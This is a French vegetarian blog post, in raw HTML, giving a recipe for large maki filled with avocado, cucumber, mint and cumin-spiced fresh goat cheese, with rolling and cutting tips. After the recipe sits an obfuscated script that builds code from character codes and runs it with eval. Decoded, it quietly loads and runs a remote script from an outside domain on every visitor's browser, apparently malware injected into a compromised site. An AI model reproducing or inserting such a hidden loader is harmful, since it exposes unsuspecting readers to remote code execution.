<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/BENTO.jpg"><img class="aligncenter size-large wp-image-1596" title="recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/BENTO-674x1024.jpg" alt="" width="404" height="614" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;">
<p style="text-align: center;">Pourquoi Fresh FRESH ? Parce que Menthe Fraiche et Chèvre frais !</p>
<p style="text-align: center;">J&rsquo;adoooore de cette combinaison de saveurs !</p>
<p style="text-align: left;">Ceux qui ont déjà fait un tour sur mon <a href="http://www.flickr.com/search/?q=maki%2C+avocado%2C+goat&amp;w=49331001%40N06&amp;z=m" target="_blank">flickr</a> savent que ces maki là sont mes préférés. J&rsquo;essaie parfois de me <a href="http://www.monbentovegetarien.com/2012/02/20/maki-chevre-carotte/" target="_blank">renouveler</a>, mais 8 fois sur 10 je me retrouve à faire ceux là.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/planche.jpg"><img class="aligncenter size-large wp-image-1597" title="recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/planche-1024x817.jpg" alt="" width="553" height="441" /></a><span style="text-decoration: underline;"><strong> </strong></span></p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Pour faire 16 Fresh fresh Maki il faut</strong></span><em><strong> </strong></em>:</p>
<p style="text-align: left;">- du riz vinaigré (j&rsquo;ai mis 2 doses et demi de riz dans mon rice cooker)</p>
<p style="text-align: left;">- 100 g de chèvre frais</p>
<p style="text-align: left;">- 1 c.c de cumin moulu</p>
<p style="text-align: left;">- 4 grosses poignées de feuilles de menthe fraiche</p>
<p style="text-align: left;">- 4 longs bâtonnets de concombre épépiné</p>
<p style="text-align: left;">- 2 avocats de taille moyenne citronnés et coupés en 4 fois 1/4</p>
<p style="text-align: left;">- 4 feuilles de nori</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;">
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/tapis.jpg"><img class="aligncenter size-large wp-image-1598" title="tapis roulage-nori-recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/tapis-1024x806.jpg" alt="" width="430" height="339" /></a></p>
<p style="text-align: left;">D&rsquo;abord préparer un grand bol d&rsquo;eau très froide et salée. Il faut y tremper ses doigts à chaque fois qu&rsquo;on manipule le riz. C&rsquo;est essentiel pour ne pas en avoir plein les mains.</p>
<p style="text-align: left;">Mélanger le chèvre frais et le cumin dans un bol à l&rsquo;aide d&rsquo;une fourchette. Diviser en 4 petit boudins.</p>
<p style="text-align: left;">Disposer le riz sur une première feuille de nori (en prenant soin d&rsquo;humidifier ses doigts). Faire un tapis de feuilles de menthe au milieu, y déposer 3 quarts d&rsquo;avocat, un bâtonnet de concombre et un boudin de chèvre frais au cumin.</p>
<p style="text-align: left;">Former un rouleau à l&rsquo;aide d&rsquo;un tapis à maki. Il s&rsquo;agit plus de replier le riz sur la garniture que de simplement rouler.</p>
<p style="text-align: left;">Faire de même avec les 3 autres feuilles de nori.</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/maki.jpg"><img class="aligncenter size-large wp-image-1606" title="découpe-recette-maki-végétarien-avocat-concombre-chèvre-frais-cumin-menthe-ingredients" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/03/maki-1024x662.jpg" alt="" width="614" height="397" /></a></p>
<p style="text-align: left;"><span style="text-decoration: underline;"><strong>Pour une découpe bien nette il faut</strong></span> :</p>
<p style="text-align: left;">- un couteau bien aiguisé</p>
<p style="text-align: left;">- mettre la partie du rouleau ou il y a le chèvre frais la tête en bas</p>
<p style="text-align: left;">- tremper la lame dans le bol d&rsquo;eau froide et à l&rsquo;essuyer entre chaque découpe</p>
<p style="text-align: left;">- couper les extrémités (celui qui fait les maki a le privilège de manger les chutes)</p>
<p style="text-align: left;">- couper le reste du rouleau en 4</p>
<p style="text-align: left;">Moi j&rsquo;adore les gros maki, mais si vous les préférez plus petits vous pouvez très bien couper le rouleau en 8.</p>
<p style="text-align: left;">Servir avec de la sauce soja et conserver au frais.</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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